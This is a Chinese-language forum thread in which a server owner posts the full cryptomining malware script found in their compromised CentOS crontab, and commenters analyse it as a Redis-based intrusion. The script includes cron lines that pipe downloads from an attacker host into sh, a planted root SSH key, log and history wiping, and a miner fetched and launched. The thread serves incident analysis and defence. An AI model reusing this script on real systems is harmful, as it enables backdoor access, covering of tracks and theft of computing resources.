Distributions
› Ubuntu
› Fedora
› CentOS
中文资源站
› 网易开源镜像站
dengshuang
V2EX  ›  Linux

Linux 被黑了,来看看这是什么回事。。。

  •  
  •   dengshuang · Apr 16, 2018 · 13940 views
    This topic created in 3133 days ago, the information mentioned may be changed or developed.

    系统 centos7

    今天看到服务器报警 68%的 cpu 被用。我也没干嘛啊。 用 htop 看到如下: 图片

    很浪啊,赶紧 kill -9 杀掉进程,单一下子就有起来了。 灵光一闪,查看 crontab,如图: crontab 用 crontab 里的链接下载了这个 sh:

    #!/bin/bash
    ps -ef | grep crypto-pool | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep nanopool | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep supportxmr | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep minexmr | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep dwarfpool | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep xmrpool | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep moneropool | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep xmr | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep monero | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep udevs | grep -v grep | awk '{print $2}' | xargs kill -9
    ps -ef | grep kworkers | grep -v grep | awk '{print $2}' | xargs kill -9
    skill -KILL udevs
    skill -KILL kworkers
    rm -rf /var/lib/apt/lists/*
    apt-get update
    apt-get install wget -y
    apt-get install libcurl4-openssl-dev -y
    apt-get install python-pip -y
    apt-get install ca-certificates -y
    apt-get install redis-tools -y
    apt-get install python gcc -y
    apt-get install python-setuptools python-dev build-essential -y --allow-unauthenticated
    yum -y install epel-release
    yum -y install wget gcc redis git python-pip ca-certificates
    echo "0 * * * * curl -fsSL http://chrome.zer0day.ru:5050/mrx1 | sh" > /var/spool/cron/root
    echo "0 * * * * wget -q -O- http://chrome.zer0day.ru:5050/mrx1 | sh" >> /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    mkdir -p /root/.ssh/
    echo "0 * * * * curl -fsSL http://chrome.zer0day.ru:5050/mrx1 | sh" > /var/spool/cron/crontabs/root
    echo "0 * * * * wget -q -O- http://chrome.zer0day.ru:5050/mrx1 | sh" >> /var/spool/cron/crontabs/root
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV1VxPVZFUOOWZwMFVBwP/904lhAZNj2U5DPsZyIWw33jHeFRElM++XnUYmkMDiu8KuJXnFDJMkyXxsq77fOpDhVGOoexll3+P6SmZWViWwnhOgvxhccgT72J+LPZEIwPqPZQVHR4ksdVSnMVreyZs+rQ7O+L2xychpqzeIrk4Q/08f5XreOnq4Rgxp9oKwSlf7vKmQ7tUWUxfMHHL1wQYZPmdKpgSi/JmokLpp5cKAT7r0gGOj1jV8ZAJc+z45Ts2JBH9JYscHBssh7MBWWymcjXANd9a6XaQnbnl6nOFFNyYm8dBuLkGpEUNCdMq/jc5YLfnAnbGVbBMhuWzaWUp root@host-10-10-10-26" >> /root/.ssh/authorized_keys
    chmod 600 /root/.ssh/authorized_keys
    PS3=$(iptables -L | grep 6379 | wc -l)
    if [ $PS3 -eq 0 ];
    then
    yum -y install iptables-services
    iptables -I INPUT 1 -p tcp --dport 6379 -j DROP
    iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
    service iptables save
    /etc/init.d/iptables-persistent save
    fi
    echo "" > /var/log/wtmp
    echo "" > /var/log/secure
    history -c
    if [ ! -f "/tmp/migrations" ];then
    wget https://transfer.sh/SstPD/clay  --no-check-certificate -O /tmp/clay && chmod +x /tmp/clay
    wget https://transfer.sh/q4oJN/nodexx --no-check-certificate -O /tmp/migrations && chmod 777 /tmp/migrations
    curl -sk https://transfer.sh/q4oJN/nodexx -o /tmp/migrations && chmod 777 /tmp/migrations
    fi
    cd /tmp
    PS1=$(ps aux | grep clay | grep -v "grep" | wc -l)
    if [ $PS1 -eq 0 ];
    then
        /tmp/clay &
    fi
    PS2=$(ps aux | grep migrations | grep -v "grep" | wc -l)
    if [ $PS2 -eq 0 ];
    then
        /tmp/migrations -o stratum+tcp://pool.zer0day.ru:8080 --max-cpu-usage 85 -k -B
    fi
    if [ $? -ne 0 -a $PS2 -eq 0 ];
    then
    wget https://transfer.sh/pQMdB/glibc-2.14.tar.gz --no-check-certificate -O /tmp/glibc-2.14.tar.gz && tar zxvf /tmp/glibc-2.14.tar.gz -C / && export LD_LIBRARY_PATH=/opt/glibc-2.14/lib:$LD_LIBRARY_PATH && /tmp/migrations -o stratum+tcp://pool.zer0day.ru:8080 --max-cpu-usage 85 -k -B && echo "" > /var/log/wtmp && echo "" > /var/log/secure && history -c 
    fi
    if [ $PS3 -eq 0 ];
    then
    yum -y install iptables-services
    iptables -I INPUT 1 -p tcp --dport 6379 -j DROP
    iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
    service iptables save
    /etc/init.d/iptables-persistent save
    fi
    
    
    

    各位猜猜他是不是要挖矿。 我现在只是把外网用防火墙给卡断了,想仔细研究研究他到底在干嘛

    45 replies  •  2018-04-19 08:38:37 +08:00
    dengshuang
    dengshuang
    OP
    Apr 16, 2018❤️3
    1
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV1VxPVZFUOOWZwMFVBwP/904lhAZNj2U5DPsZyIWw33jHeFRElM++XnUYmkMDiu8KuJXnFDJMkyXxsq77fOpDhVGOoexll3+P6SmZWViWwnhOgvxhccgT72J+LPZEIwPqPZQVHR4ksdVSnMVreyZs+rQ7O+L2xychpqzeIrk4Q/08f5XreOnq4Rgxp9oKwSlf7vKmQ7tUWUxfMHHL1wQYZPmdKpgSi/JmokLpp5cKAT7r0gGOj1jV8ZAJc+z45Ts2JBH9JYscHBssh7MBWWymcjXANd9a6XaQnbnl6nOFFNyYm8dBuLkGpEUNCdMq/jc5YLfnAnbGVbBMhuWzaWUp root@host-10-10-10-26" >> /root/.ssh/authorized_keys
    chmod 600 /root/.ssh/authorized_keys

    这一条很是邪恶啊
    henryshen233
    henryshen233
    Apr 16, 2018
    2
    @dengshuang 拽了
    henryshen233
    henryshen233
    Apr 16, 2018
    3
    我说一楼
    u5f20u98de
    u5f20u98de
    Apr 16, 2018❤️1
    4
    看样子的确是被拿来挖矿了,看命令是用了一个未授权访问的 redis 漏洞(因为替你把 6379 关上不让别人搞)
    hcymk2
    hcymk2
    Apr 16, 2018❤️1
    5
    xmr 门罗币
    doun
    doun
    Apr 16, 2018 via Android❤️1
    6
    pool.zer0day.ru:8080 这个好像是挖矿的。找到漏洞了吗怎么被搞的?
    raslan
    raslan
    Apr 16, 2018
    7
    被拿来挖矿了
    Felldeadbird
    Felldeadbird
    Apr 16, 2018
    8
    @u5f20u98de 良心黑产脚本?
    murusu
    murusu
    Apr 16, 2018❤️2
    9
    被人拿来当矿机了
    很奇怪的是你这机子允许 root 帐号远程登录?
    bearqq
    bearqq
    Apr 16, 2018 via Android
    10
    Stratum 字样挖矿无疑
    有可能是 ssh 密码破解搞进来的,别的弱密码也可能,1day 漏洞也可能看你更新不。
    jasonyang9
    jasonyang9
    Apr 16, 2018❤️2
    11
    ```
    /tmp/migrations -o stratum+tcp://pool.zer0day.ru:8080 --max-cpu-usage 85 -k -B
    ```

    还保留了 15%CPU 给你用,良心啊
    hcymk2
    hcymk2
    Apr 16, 2018
    12
    echo "" > /var/log/wtmp
    echo "" > /var/log/secure
    history -c
    geagerg
    geagerg
    Apr 16, 2018❤️1
    13
    见过个类似的,看看是不是 redis 开了外网访问但是没设密码或者弱密码或或者配置文件有误未生效
    dengshuang
    dengshuang
    OP
    Apr 16, 2018❤️1
    14
    @murusu 不是这是内网的电脑,当时通过代理,把 6379 端口 redis 代理出去了。redis 是用 root 运行的。
    dengshuang
    dengshuang
    OP
    Apr 16, 2018
    15
    @jasonyang9 尴尬,哈哈
    EXE
    EXE
    Apr 16, 2018❤️1
    16
    前几天服务器刚中了挖门罗币的病毒,而且用的还是 docker 来跑的。。。
    jingdaihuaxia
    jingdaihuaxia
    Apr 16, 2018
    17
    被挖矿了?
    u5f20u98de
    u5f20u98de
    Apr 16, 2018
    18
    @Felldeadbird 不是良心,是怕被别家黑客工具用了,竞争也很激烈啊。
    hihihihihi
    hihihihihi
    Apr 16, 2018
    19
    我前几天配置的 SS 也被黑了用作 ddos,客服发 email 说关停了我的机器,我上去一看,几个小时打了 300G 流量。。。。。 也不知道是如何黑的,后来果断重新弄了一台,关了 root 远程登录,关闭密码登陆。
    nicevar
    nicevar
    Apr 16, 2018
    20
    估计是 ssh 被爆破进入的
    Rootcat
    Rootcat
    Apr 16, 2018
    21
    看了这个,我竟然想到的是拿我闲置的服务器来挖门罗币,不知道能挖多少。。。
    lopetver
    lopetver
    Apr 16, 2018
    22
    migrations -o stratum+tcp://pool.zer0day.ru:8080 --max-cpu-usage 85 -k -B

    这条命令已经说明是在挖矿了
    kongkongyzt
    kongkongyzt
    Apr 16, 2018
    23
    @dengshuang #1 +1, 刚想回这个, 这条 hhh
    lopetver
    lopetver
    Apr 16, 2018
    24
    @kongkongyzt 求解这条是什么意思
    FindBoyFriend
    FindBoyFriend
    Apr 16, 2018
    25
    一项喜欢用 keys 登陆 ssh,就差两步验证了
    f2f2f
    f2f2f
    Apr 16, 2018
    26
    @jasonyang9 然而即便留了 15% 很多商家还是会直接把这样的 vps 给 suspend 了 #滑稽
    imaning
    imaning
    Apr 16, 2018
    27
    @Rootcat 照这么说,我手上有 3 台服务器,都是闲置的,我也该去试试挖矿?
    king2014
    king2014
    Apr 16, 2018
    28
    @lopetver 直接加入自己的密钥,可以随时登录了,不需要密码
    dengshuang
    dengshuang
    OP
    Apr 16, 2018
    29
    @lopetver 免密码 登陆
    airycanon
    airycanon
    Apr 16, 2018
    30
    你是不是用 root 启动 redis 了并且对外网是开放的?
    sdzwb
    sdzwb
    Apr 16, 2018
    31
    这是服务器被入侵,同时用于挖矿的步骤啊。
    要杜绝还得找服务器漏洞的根源,然后再去堵。
    YMB
    YMB
    Apr 16, 2018
    32
    前段时间研究过 redis 漏洞,但新版本貌似怎么都不能生效,楼主 redis 版本是多少?
    有可疑 key 之类的一些信息吗,有的话麻烦提供一下大家研究研究
    ZackB0T
    ZackB0T
    Apr 16, 2018 via Android
    33
    最简单的方式,云墙 设置下 ssh 端口么? ip 或者 IP 段放行。
    挖门罗的
    打算挖的,给你个参考,G620 CentOS 倆核算力 50,如果支持 aes 能快不少。但是 cpu 自己挖电费回不来,矿池一般 0.3 提,这算力基本一年提不出来。
    YumeMichi
    YumeMichi
    Apr 16, 2018
    34
    让我想起我司一台测试服务器上的 redis 没有设置密码 然后因为版本也不是最新的 就被人利用漏洞种过挖矿程序
    Miy4mori
    Miy4mori
    Apr 16, 2018
    35
    @Felldeadbird 你怎么理解到良心的,明显怕后来人把自己蹬了啊。
    jeffson
    jeffson
    Apr 16, 2018
    36
    stratum+tcp://pool.zer0day.ru:8080 必然是挖矿啊
    lusi1990
    lusi1990
    Apr 16, 2018 via Android
    37
    我也被黑锅,cpu 占用了 100%
    DeWhite
    DeWhite
    Apr 16, 2018
    38
    @jasonyang9 我之前查日志菜发现 只被用了 50%,这不算良心
    projectzoo
    projectzoo
    Apr 16, 2018
    39
    @dengshuang #1 有点意思,这个。。
    msg7086
    msg7086
    Apr 17, 2018
    40
    无密码全球公开 root 账户运行的 redis,不拿来挖矿难道还留着过年?
    defunct9
    defunct9
    Apr 17, 2018 via iPhone
    41
    挖门罗币种的

    开 ssh,让我上去也挖挖
    winglight2016
    winglight2016
    Apr 17, 2018
    42
    一般 VPS 都会禁止挖矿的
    henryshen233
    henryshen233
    Apr 17, 2018
    43
    @4ever911 上次我的 Linode 也流量暴涨,后来只开放必要端口就好了
    deloved
    deloved
    Apr 17, 2018
    44
    挖矿的,应该是利用 redis 端口漏洞进来的,因为 redis 默认是不用用户密码的
    infra
    infra
    Apr 19, 2018
    45
    被偷挖挖门罗币了
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   1841 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 82ms · UTC 15:54 · PVG 23:54 · LAX 07:54 · JFK 10:54
    ♥ Do have faith in what you're doing.